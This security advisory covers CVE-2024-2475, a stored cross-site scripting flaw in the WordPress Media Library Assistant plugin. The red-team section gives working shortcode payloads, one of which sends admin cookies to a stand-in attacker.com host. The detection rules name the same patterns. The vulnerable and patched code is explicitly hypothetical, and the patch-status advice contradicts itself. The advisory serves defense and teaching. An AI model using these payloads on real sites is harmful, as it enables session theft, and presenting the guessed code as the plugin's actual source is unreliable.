CVE-2024-2475

Executive Summary

CVE-2024-2475 is a Stored Cross-Site Scripting (XSS) vulnerability in the Media Library Assistant plugin for WordPress, affecting all versions up to and including 3.13. The flaw resides in the plugin's shortcodes, where user-supplied attributes are insufficiently sanitized and escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous in the WordPress ecosystem because it allows lower-privileged users (contributors) to escalate their impact. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public availability of proof-of-concept code increases risk.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the plugin author. No package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (Victim visits page)
• Scope: Changed (Impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for contributors to inject persistent XSS makes this a significant risk for multi-user WordPress sites.

Deep Dive & Mechanics

The Media Library Assistant plugin provides shortcodes like [mla_gallery] to display media items. The vulnerability occurs because the plugin does not properly sanitize or escape user-supplied attributes passed to these shortcodes. An attacker with contributor-level access can create a post or page containing a malicious shortcode, such as:

[mla_gallery attachment_category="<script>alert('XSS')</script>"]

When the shortcode is processed, the unsanitized attribute value is rendered directly into the HTML output without proper escaping. This allows the attacker's JavaScript to execute in the context of the victim's browser.

The root cause is insufficient input validation and output escaping on shortcode attributes. The plugin likely uses add_shortcode() and processes attributes via shortcode_atts(), but fails to escape the values before outputting them.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.13):

// In the shortcode handler function
function mla_gallery_shortcode($atts) {
    $atts = shortcode_atts(array(
        'attachment_category' => '',
    ), $atts);
    
    // Directly outputting the attribute without escaping
    $output = '<div class="mla-gallery" data-category="' . $atts['attachment_category'] . '">';
    // ... rest of the code
    return $output;
}

Patched Code (Hypothetical):

function mla_gallery_shortcode($atts) {
    $atts = shortcode_atts(array(
        'attachment_category' => '',
    ), $atts);
    
    // Escape the attribute value before output
    $output = '<div class="mla-gallery" data-category="' . esc_attr($atts['attachment_category']) . '">';
    // ... rest of the code
    return $output;
}

The fix involves using esc_attr() or wp_kses() to sanitize and escape user-supplied attributes before rendering them in HTML.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Media Library Assistant plugin <= 3.13
• Contributor-level account or higher

Step-by-Step Exploitation:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert a malicious shortcode in the content editor:

   [mla_gallery attachment_category="<img src=x onerror=alert(document.cookie)>"]
   

4. Publish the post.
5. Wait for an administrator to view the post. The JavaScript executes, stealing cookies or performing actions on behalf of the admin.

Advanced Payload (Session Hijacking):

[mla_gallery attachment_category="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts/pages containing suspicious shortcode attributes (e.g., <script>, onerror, onload).
• Use Web Application Firewall (WAF) rules to block XSS payloads in shortcode attributes.
• Review user activity logs for contributors creating posts with unusual shortcode usage.

Prevention:

• Update the plugin to a patched version (once available).
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/media-library-assistant/includes/class-mla-shortcodes.php (vulnerable file)
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server
• Logs: WordPress debug log entries showing shortcode processing errors
• Database: Posts/pages containing shortcode attributes with JavaScript payloads

Detection Engineering

YARA Rule

rule CVE_2024_2475_Media_Library_Assistant_XSS {
    meta:
        description = "Detects malicious shortcode attributes exploiting CVE-2024-2475"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2475"
    strings:
        $shortcode = /\[mla_gallery[^\]]*?(<script|<img|<svg|<iframe|onerror|onload|onclick)/i
        $payload = /(alert|prompt|confirm|document\.cookie|fetch|XMLHttpRequest)/i
    condition:
        $shortcode and $payload
}

Sigma Rule

title: CVE-2024-2475 - Stored XSS via Media Library Assistant Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via malicious shortcode attributes in WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - "mla_gallery"
        http.request_body|contains:
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of HTML in shortcode attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2475 - Stored XSS via Media Library Assistant Shortcode"; flow:to_server,established; content:"mla_gallery"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Media Library Assistant plugin until a patch is available.
2. Review all posts/pages created by contributors for malicious shortcodes.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.

Long-term Fix:

• Apply the official patch from the plugin vendor once released.
• Upgrade to a patched version (e.g., 3.14 or later).
• Enforce the principle of least privilege: limit contributor-level access.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.
• Manually edit the plugin file to add esc_attr() to shortcode attribute outputs (not recommended for non-developers).

Valters IT
Securing Digital Frontiers